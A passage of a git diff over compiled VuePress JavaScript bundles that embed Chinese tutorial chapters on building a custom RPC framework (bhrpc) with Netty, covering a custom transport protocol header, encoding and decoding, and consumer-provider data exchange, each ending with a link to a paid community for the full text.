《RPC手撸专栏》第6章:自定义网络传输协议的实现")]),t._v(" "),a("p",[t._v("作者:冰河\n"),a("br"),t._v("星球:"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),a("OutboundLink")],1),t._v(" "),a("br"),t._v("博客:"),a("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),a("OutboundLink")],1)]),t._v(" "),a("blockquote",[a("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("p",[t._v("RPC框架作为分布式系统底层通信的基础设施框架,远程过程通信没有网络传输协议怎么行?")]),t._v(" "),a("h2",{attrs:{id:"一、前言"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),a("p",[a("code",[t._v("RPC框架要如何才能轻松拿捏自定义网络协议?")])]),t._v(" "),a("p",[t._v("RPC作为分布式系统底层通信的基础设施框架,最主要的功能就是进行远程过程调用,这种调用方式不用想,肯定会涉及到网络传输。通常情况中,只要是涉及到数据在网络过程中传输,都是要通过某种协议进行的。例如HTTP协议、TPC协议、UDP协议这种。")]),t._v(" "),a("p",[t._v("数据由发送方发送到接收方之前,会通过某种协议将其编码成二进制流,通过网络将二进制流传输到接收方后,会根据协议将其解码成对应的数据。当接收方处理完数据返回结果前,也需要先通过协议将返回的数据编码成二进制流,通过网络传输到发送方后,根据协议将二进制数据解码成对应的数据。整个过程如图6-1所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-1 数据在发送方与接收方之间的传输过程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图6-1可以看出,网络协议在整个网络通信过程中是至关重要的,是数据进行编解码的依据。")]),t._v(" "),a("p",[t._v("说的直白点,就好比两个打电话的人,比如张三给李四打电话,三张好比是数据的发送方,李四好比是数据的接收方。张三给李四打电话,李四接通电话后,二者就建立了连接。张三与李四通话的过程中,不管是三张说话还是李四说话,说话的语音信息在网络中传输之前,都会先将语音信息根据通话协议编码成二进制流,传输到对方后,再根据通话协议将二进制流解码成语音信息。如图6-2所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-2 张三与李四的通话过程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,数据在网络传输的过程中是需要通过某种协议进行编码和解码的。")]),t._v(" "),a("h2",{attrs:{id:"二、目标"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),a("p",[a("code",[t._v("bhrpc框架的数据交互需要实现自定义网络传输协议,这个目标如何实现?")])]),t._v(" "),a("p",[t._v("在前面的章节中,我们实现了bhrpc框架服务提供者收发消息的基础功能,使用了Netty自带的编码器StringEncoder和Netty自带的解码器StringDecoder。也就是在之前的章节中,系统终端和服务提供者之间传输数据时使用的是Netty自带的封装好的协议。但是,Netty本身封装好的协议对于实现RPC框架来说,无论是协议的定制化方面,还是后期对于性能调优方面,都会是一个性能瓶颈点。")]),t._v(" "),a("p",[t._v("所以,在实现bhrpc框架的过程中,需要我们自己实现自定义的网络传输协议,在自定义的网络传输协议的实现中,我们可以加入一些框架中特有的信息、也可以根据具体需要自定义网络传输协议的格式、长度等信息,甚至可以在自定义的网络传输协议中根据具体需要添加一些预留字段,以方便后期扩展。")]),t._v(" "),a("p",[t._v("说干就干,接下来,我们就一起设计和实现自定义的网络传输协议。")]),t._v(" "),a("h2",{attrs:{id:"三、设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),a("p",[a("code",[t._v("如果是让你设计网络传输协议,你会怎么设计呢?")])]),t._v(" "),a("p",[t._v("一般情况下,网络传输协议的设计可以包含消息头和消息体两部分,如图6-3所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-3 通用网络传输协议结构","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-003.png",loading:"lazy"}})]),t._v(" "),a("ul",[a("li",[t._v("一个完整的网络传输协议可以分为消息头和消息体。")]),t._v(" "),a("li",[t._v("消息头中主要存放的是一些对应整个消息的定义信息,比如协议的类型、状态、消息id、消息的长度等等信息。")]),t._v(" "),a("li",[t._v("消息体中主要存放的就是具体的传输数据。")])]),t._v(" "),a("p",[t._v("我们可以按照这个网络传输协议的通用逻辑来设计自定义网络传输协议,同样,bhrpc框架的网络传输协议也会分为消息头和消息体两部分,并且会根据具体的需要,暂时将消息头部分的长度定义为32字节,具体如图6-4所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-4 自定义协议的实现","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-004.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,在自定义的网络传输协议中,也会将整个协议分为消息头和消息体两部分。")]),t._v(" "),a("ul",[a("li",[t._v("消息头总共32字节,会分为魔数、报文类型、状态、消息ID、序列化类型和数据长度。")]),t._v(" "),a("li",[t._v("消息体就是要传输的具体数据。")])]),t._v(" "),a("p",[t._v("其中,消息头中的各个字段含义如下:")]),t._v(" "),a("ul",[a("li",[t._v("魔数:验证自定义网络传输协议的最基本的校验信息,占据2字节空间。")]),t._v(" "),a("li",[t._v("报文类型:消息的类型,可以分为请求消息、响应消息和心跳消息,占据1字节空间。")]),t._v(" "),a("li",[t._v("状态:消息的状态,占据1字节空间。")]),t._v(" "),a("li",[t._v("消息ID:消息的唯一标识,占据8字节空间。")]),t._v(" "),a("li",[t._v("序列化类型:数据进行序列化和反序列化的类型标识,暂定16字节空间。")]),t._v(" "),a("li",[t._v("数据长度:标识消息体的数据长度,占据4字节空间。")])]),t._v(" "),a("h2",{attrs:{id:"四、实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),a("p",[a("code",[t._v("说了这么多,自定义网络协议该怎么实现呢?")])]),t._v(" "),a("h3",{attrs:{id:"_1-工程结构"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),a("ul",[a("li",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),t._v(" "),a("li",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),t._v(" "),a("li",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),t._v(" "),a("li",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),t._v(" "),a("li",[t._v("bhrpc-provider:服务提供者父工程。\n"),a("ul",[a("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),a("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),a("li",[t._v("bhrpc-test:测试bhrpc框架的父工程。\n"),a("ul",[a("li",[t._v("bhrpc-test-provider:测试服务提供者的工程。")]),t._v(" "),a("li",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),t._v(" "),a("p",[a("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),a("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),a("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),a("h3",{attrs:{id:"_2-核心实现类关系"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[t._v("#")]),t._v(" 2.核心实现类关系")]),t._v(" "),a("p",[t._v("核心实现类的关系如图6-5所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-5 核心实现类的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-005.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图6-5可以看出,自定义网络传输协议主要由7个类组成,分别是RpcType、RpcMessage、RpcRequest、RpcResponse、RpcHeader、RpcHeaderFactory和RpcProtocol。")]),t._v(" "),a("h2",{attrs:{id:"查看完整文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),a("p",[t._v("加入"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);a.default=v.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-351.js b/assets/js/cg-351.js index da923239e1f467d6d3f86a3230335841b41d4a12..d62ab3b7561259b37f1509f781ce33ef690378c8 100644 --- a/assets/js/cg-351.js +++ b/assets/js/cg-351.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[351],{641:function(r,t,a){"use strict";a.r(t);var v=a(7),_=Object(v.a)({},(function(){var r=this,t=r._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":r.$parent.slotKey}},[t("h1",{attrs:{id:"《rpc手撸专栏》第7章-自定义网络编解码的实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第7章-自定义网络编解码的实现"}},[r._v("#")]),r._v(" 《RPC手撸专栏》第7章:自定义网络编解码的实现")]),r._v(" "),t("p",[r._v("作者:冰河\n"),t("br"),r._v("星球:"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),r._v(" "),t("br"),r._v("博客:"),t("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[r._v("https://binghe001.github.io"),t("OutboundLink")],1)]),r._v(" "),t("blockquote",[t("p",[r._v("沉淀,成长,突破,帮助他人,成就自我。")])]),r._v(" "),t("p",[t("strong",[r._v("大家好,我是冰河~~")])]),r._v(" "),t("p",[r._v("RPC框架实现了自定义协议就能自动传输数据了吗?答案肯定是不行,除了自定义协议,还要实现另一种技能。")]),r._v(" "),t("h2",{attrs:{id:"一、前言"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[r._v("#")]),r._v(" 一、前言")]),r._v(" "),t("p",[t("code",[r._v("自定义网络编解码是个什么鬼?")])]),r._v(" "),t("p",[r._v("数据都会按照某种协议在网络中进行传输,比如可以按照HTTP协议进行传输、可以按照HTTPS协议进行传输、可以按照TCP协议进行传输、可以按照UDP协议进行传输等等。但是,只是有了协议是远远不够的。例如,我们需要将一个客户端的Java对象通过网络传输到服务端,只是有了协议的话,是不行的,我们还要思考:如何将Java对象转化成我们定义好的协议格式在网络中进行传输。其实,这就涉及到网络的编解码了。")]),r._v(" "),t("p",[r._v("RPC框架作为分布式系统底层通信的基础设施框架,本身就是为分布式远程过程调用而设计的,它的出现就是为解决高效的远程通信问题。和一些通用的网络协议一样,尽管RPC框架会自定义网络传输协议,但是只有网络传输协议是远远不够的,也同样需要数据的编解码功能。")]),r._v(" "),t("h2",{attrs:{id:"二、目标"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[r._v("#")]),r._v(" 二、目标")]),r._v(" "),t("p",[t("code",[r._v("如何在设计好自定义的网络传输协议的基础上,实现数据的编解码功能呢?")])]),r._v(" "),t("p",[r._v("在前面的章节中,为bhrpc框架实现了自定义的网络传输协议, 但是对于数据的编解码操作,还是使用的Netty自带的StringEncoder和StringDecoder。对于自定义的网络传输协议来说,使用Netty自带的数据编解码类已经不满足需求。此时,就需要我们自定义数据的编解码功能。")]),r._v(" "),t("p",[r._v("当数据由服务消费者通过网络发送到服务提供者之前,就需要对数据进行编码,将数据序列化成符合对应协议的二进制字节流。当数据的二进制字节流传输到服务提供者时,就需要对二进制字节流进行解码,将二进制字节流按照对应的协议反序列化成相应的数据。数据由服务提供者传输到服务消费者也是一样的流程。")]),r._v(" "),t("p",[r._v("说干就干,接下来,我们就一起设计和实现自定义的数据编解码功能。")]),r._v(" "),t("h2",{attrs:{id:"三、设计"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[r._v("#")]),r._v(" 三、设计")]),r._v(" "),t("p",[t("code",[r._v("如果让你为bhrpc框架设计自定义的数据编解码功能,你会怎么做呢?")])]),r._v(" "),t("p",[r._v("服务消费者与服务提供者之间的数据交互过程如图7-1所示。")]),r._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图7-1 服务消费者与服务提供者之间的数据交互","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-02-001.png",loading:"lazy"}})]),r._v(" "),t("p",[r._v("由图7-1可以看出,服务消费者向服务提供者发送数据前,先通过编码器根据自定义的网络传输协议将数据编码成二进制字节流,二进制字节流通过网络由服务消费者传输到服务提供者,在服务提供者处理数据前,先由解码器根据自定义的网络传输协议对二进制流进行解码,解码出对应的数据后,再对数据进行进一步处理。")]),r._v(" "),t("p",[r._v("当服务提供者处理完数据时,向服务消费者响应数据之前,先通过编码器根据自定义的网络传输协议对数据进行编码,将数据编码成二进制字节流,二进制字节流通过网络由服务提供者传输到服务消费者,服务消费者接收到二进制流数据时,先通过解码器根据自定义的网络传输协议对二进制流数据进行解码,解码出对应的数据后做进一步的处理。")]),r._v(" "),t("p",[r._v("整个过程就需要实现数据的编解码器。")]),r._v(" "),t("p",[r._v("细心的读者可以发现,服务消费者端用一个虚线矩形锁包裹起来,这是因为在本章我们还是侧重实现服务提供者端,后续会使用单独一章来测试服务消费者和服务提供者之间的通信过程。")]),r._v(" "),t("h2",{attrs:{id:"四、实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[r._v("#")]),r._v(" 四、实现")]),r._v(" "),t("p",[t("code",[r._v("说了这么多,自定义的网络编解码到底该如何实现呢?")])]),r._v(" "),t("h3",{attrs:{id:"_1-工程结构"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[r._v("#")]),r._v(" 1.工程结构")]),r._v(" "),t("ul",[t("li",[r._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),r._v(" "),t("li",[r._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")]),r._v(" "),t("li",[r._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),r._v(" "),t("li",[r._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),r._v(" "),t("li",[r._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),r._v(" "),t("li",[r._v("bhrpc-provider:服务提供者父工程。\n"),t("ul",[t("li",[r._v("bhrpc-provider-common:服务提供者通用工程。")]),r._v(" "),t("li",[r._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),r._v(" "),t("li",[r._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。\n"),t("ul",[t("li",[r._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),r._v(" "),t("li",[r._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),r._v(" "),t("li",[r._v("bhrpc-test:测试bhrpc框架的父工程。\n"),t("ul",[t("li",[r._v("bhrpc-test-provider:测试服务提供者的工程。")]),r._v(" "),t("li",[r._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),r._v(" "),t("p",[t("strong",[r._v("工程源码:")]),r._v(" 关注冰 "),t("strong",[r._v("冰河技术")]),r._v(" 微信公众号,回复 "),t("code",[r._v("bhrpc")]),r._v(", 获取代码链接地址。")]),r._v(" "),t("h3",{attrs:{id:"_2-核心实现类关系"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[r._v("#")]),r._v(" 2.核心实现类关系")]),r._v(" "),t("p",[r._v("核心实现类关系如图7-2所示。")]),r._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图7-2 核心实现类关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-02-002.png",loading:"lazy"}})]),r._v(" "),t("p",[r._v("其中,最主要的接口和类就是RpcCodec、RpcEncoder、RpcDecoder、SerializerException、SerializationUtils、Serialization和JdkSerialization。其中,每个类的具体功能如下所示。")]),r._v(" "),t("h2",{attrs:{id:"查看完整文章"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[r._v("#")]),r._v(" 查看完整文章")]),r._v(" "),t("p",[r._v("加入"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("冰河技术"),t("OutboundLink")],1),r._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);t.default=_.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[351],{640:function(r,t,a){"use strict";a.r(t);var v=a(7),_=Object(v.a)({},(function(){var r=this,t=r._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":r.$parent.slotKey}},[t("h1",{attrs:{id:"《rpc手撸专栏》第7章-自定义网络编解码的实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第7章-自定义网络编解码的实现"}},[r._v("#")]),r._v(" 《RPC手撸专栏》第7章:自定义网络编解码的实现")]),r._v(" "),t("p",[r._v("作者:冰河\n"),t("br"),r._v("星球:"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),r._v(" "),t("br"),r._v("博客:"),t("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[r._v("https://binghe001.github.io"),t("OutboundLink")],1)]),r._v(" "),t("blockquote",[t("p",[r._v("沉淀,成长,突破,帮助他人,成就自我。")])]),r._v(" "),t("p",[t("strong",[r._v("大家好,我是冰河~~")])]),r._v(" "),t("p",[r._v("RPC框架实现了自定义协议就能自动传输数据了吗?答案肯定是不行,除了自定义协议,还要实现另一种技能。")]),r._v(" "),t("h2",{attrs:{id:"一、前言"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[r._v("#")]),r._v(" 一、前言")]),r._v(" "),t("p",[t("code",[r._v("自定义网络编解码是个什么鬼?")])]),r._v(" "),t("p",[r._v("数据都会按照某种协议在网络中进行传输,比如可以按照HTTP协议进行传输、可以按照HTTPS协议进行传输、可以按照TCP协议进行传输、可以按照UDP协议进行传输等等。但是,只是有了协议是远远不够的。例如,我们需要将一个客户端的Java对象通过网络传输到服务端,只是有了协议的话,是不行的,我们还要思考:如何将Java对象转化成我们定义好的协议格式在网络中进行传输。其实,这就涉及到网络的编解码了。")]),r._v(" "),t("p",[r._v("RPC框架作为分布式系统底层通信的基础设施框架,本身就是为分布式远程过程调用而设计的,它的出现就是为解决高效的远程通信问题。和一些通用的网络协议一样,尽管RPC框架会自定义网络传输协议,但是只有网络传输协议是远远不够的,也同样需要数据的编解码功能。")]),r._v(" "),t("h2",{attrs:{id:"二、目标"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[r._v("#")]),r._v(" 二、目标")]),r._v(" "),t("p",[t("code",[r._v("如何在设计好自定义的网络传输协议的基础上,实现数据的编解码功能呢?")])]),r._v(" "),t("p",[r._v("在前面的章节中,为bhrpc框架实现了自定义的网络传输协议, 但是对于数据的编解码操作,还是使用的Netty自带的StringEncoder和StringDecoder。对于自定义的网络传输协议来说,使用Netty自带的数据编解码类已经不满足需求。此时,就需要我们自定义数据的编解码功能。")]),r._v(" "),t("p",[r._v("当数据由服务消费者通过网络发送到服务提供者之前,就需要对数据进行编码,将数据序列化成符合对应协议的二进制字节流。当数据的二进制字节流传输到服务提供者时,就需要对二进制字节流进行解码,将二进制字节流按照对应的协议反序列化成相应的数据。数据由服务提供者传输到服务消费者也是一样的流程。")]),r._v(" "),t("p",[r._v("说干就干,接下来,我们就一起设计和实现自定义的数据编解码功能。")]),r._v(" "),t("h2",{attrs:{id:"三、设计"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[r._v("#")]),r._v(" 三、设计")]),r._v(" "),t("p",[t("code",[r._v("如果让你为bhrpc框架设计自定义的数据编解码功能,你会怎么做呢?")])]),r._v(" "),t("p",[r._v("服务消费者与服务提供者之间的数据交互过程如图7-1所示。")]),r._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图7-1 服务消费者与服务提供者之间的数据交互","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-02-001.png",loading:"lazy"}})]),r._v(" "),t("p",[r._v("由图7-1可以看出,服务消费者向服务提供者发送数据前,先通过编码器根据自定义的网络传输协议将数据编码成二进制字节流,二进制字节流通过网络由服务消费者传输到服务提供者,在服务提供者处理数据前,先由解码器根据自定义的网络传输协议对二进制流进行解码,解码出对应的数据后,再对数据进行进一步处理。")]),r._v(" "),t("p",[r._v("当服务提供者处理完数据时,向服务消费者响应数据之前,先通过编码器根据自定义的网络传输协议对数据进行编码,将数据编码成二进制字节流,二进制字节流通过网络由服务提供者传输到服务消费者,服务消费者接收到二进制流数据时,先通过解码器根据自定义的网络传输协议对二进制流数据进行解码,解码出对应的数据后做进一步的处理。")]),r._v(" "),t("p",[r._v("整个过程就需要实现数据的编解码器。")]),r._v(" "),t("p",[r._v("细心的读者可以发现,服务消费者端用一个虚线矩形锁包裹起来,这是因为在本章我们还是侧重实现服务提供者端,后续会使用单独一章来测试服务消费者和服务提供者之间的通信过程。")]),r._v(" "),t("h2",{attrs:{id:"四、实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[r._v("#")]),r._v(" 四、实现")]),r._v(" "),t("p",[t("code",[r._v("说了这么多,自定义的网络编解码到底该如何实现呢?")])]),r._v(" "),t("h3",{attrs:{id:"_1-工程结构"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[r._v("#")]),r._v(" 1.工程结构")]),r._v(" "),t("ul",[t("li",[r._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),r._v(" "),t("li",[r._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")]),r._v(" "),t("li",[r._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),r._v(" "),t("li",[r._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),r._v(" "),t("li",[r._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),r._v(" "),t("li",[r._v("bhrpc-provider:服务提供者父工程。\n"),t("ul",[t("li",[r._v("bhrpc-provider-common:服务提供者通用工程。")]),r._v(" "),t("li",[r._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),r._v(" "),t("li",[r._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。\n"),t("ul",[t("li",[r._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),r._v(" "),t("li",[r._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),r._v(" "),t("li",[r._v("bhrpc-test:测试bhrpc框架的父工程。\n"),t("ul",[t("li",[r._v("bhrpc-test-provider:测试服务提供者的工程。")]),r._v(" "),t("li",[r._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),r._v(" "),t("p",[t("strong",[r._v("工程源码:")]),r._v(" 关注冰 "),t("strong",[r._v("冰河技术")]),r._v(" 微信公众号,回复 "),t("code",[r._v("bhrpc")]),r._v(", 获取代码链接地址。")]),r._v(" "),t("h3",{attrs:{id:"_2-核心实现类关系"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[r._v("#")]),r._v(" 2.核心实现类关系")]),r._v(" "),t("p",[r._v("核心实现类关系如图7-2所示。")]),r._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图7-2 核心实现类关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-02-002.png",loading:"lazy"}})]),r._v(" "),t("p",[r._v("其中,最主要的接口和类就是RpcCodec、RpcEncoder、RpcDecoder、SerializerException、SerializationUtils、Serialization和JdkSerialization。其中,每个类的具体功能如下所示。")]),r._v(" "),t("h2",{attrs:{id:"查看完整文章"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[r._v("#")]),r._v(" 查看完整文章")]),r._v(" "),t("p",[r._v("加入"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("冰河技术"),t("OutboundLink")],1),r._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);t.default=_.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-352.js b/assets/js/cg-352.js index a4c07b849150456c421135ae9c99cd7210bbf9bc..60f661f5328d45c875fabadb39f6b5f1af8f6c10 100644 --- a/assets/js/cg-352.js +++ b/assets/js/cg-352.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[352],{642:function(t,r,a){"use strict";a.r(r);var _=a(7),v=Object(_.a)({},(function(){var t=this,r=t._self._c;return r("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[r("h1",{attrs:{id:"《rpc手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第8章:模拟服务消费者与服务提供者之间的数据交互")]),t._v(" "),r("p",[t._v("作者:冰河\n"),r("br"),t._v("星球:"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),r("OutboundLink")],1),t._v(" "),r("br"),t._v("博客:"),r("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),r("OutboundLink")],1)]),t._v(" "),r("blockquote",[r("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),r("p",[r("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),r("p",[t._v("设计好自定义的网络传输协议和自定义数据编解码后,服务消费者与服务提供者之间该如何进行通信呢?")]),t._v(" "),r("h2",{attrs:{id:"一、前言"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),r("p",[r("code",[t._v("如何模拟服务消费者与服务提供者之间的数据交互?")])]),t._v(" "),r("p",[t._v("RPC框架最主要的功能就是要实现服务消费者与服务提供者之间高效的数据通信,服务消费者能够将数据高效的传输到服务提供者,服务提供者处理完数据后,又能够将处理结果高效的返回服务消费者,二者之间的数据交互才是RPC框架最核心,也是最基础的功能。")]),t._v(" "),r("p",[t._v("无论你用过何种RPC框架,无论RPC框架的性能多么优越,从本质上来讲,就是要实现分布式系统中各个子系统之间高效的数据通信。从这一点来说,我们自定义的网络通信协议和自定义的数据编解码都需要能够保证数据在服务消费者与服务提供者之间实现高效的数据通信。")]),t._v(" "),r("p",[t._v("那我们自定义的网络通信协议和自定义的数据编解码,到底能不能实现服务消费者与服务提供者之间的数据通信呢?这就需要我们进行进一步的验证和测试。")]),t._v(" "),r("h2",{attrs:{id:"二、目标"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),r("p",[r("code",[t._v("基于自定义的网络传输协议和数据编解码,能实现服务消费者与服务提供者之间的数据通信吗?")])]),t._v(" "),r("p",[t._v("在前面的章节中,实现了自定义的网络传输协议,并且基于自定义的网络传输协议实现了数据的编解码功能。在服务提供者中,使用自定义的数据编解码类替换了Netty自带的编解码类。至此,在服务提供者一侧就实现了自定义的网络通信协议和自定义的数据编解码,如图8-1所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图8-1 服务提供者端实现了自定义网络传输协议和数据编解码","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-001.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("由图8-1可以看出,此时仍使用一个虚线矩形将服务消费者圈起来了,这是由于截止到目前,我们主要是在不断完善服务提供者的功能,对于服务消费者,还未实现任何功能。")]),t._v(" "),r("p",[t._v("本章,我们就需要基于自定义的网络传输协议和自定义的数据编解码来模拟实现一个服务消费者,并实现服务消费者与服务提供者之间的数据交互。")]),t._v(" "),r("h2",{attrs:{id:"三、设计"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),r("p",[r("code",[t._v("如果让你基于自定义的网络传输协议和数据编解码,实现服务消费者与服务提供者之间的数据通信,你会怎么做?")])]),t._v(" "),r("p",[t._v("服务消费者与服务提供者之间都能够基于自定义的网络传输协议和数据编解码实现数据交互时,此时的通信过程就如图8-2所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-10-03-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-03-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("此时,无论是服务消费者还是服务提供者,都会使用自定义的网路传输协议和自定义编解码进行数据通信。")]),t._v(" 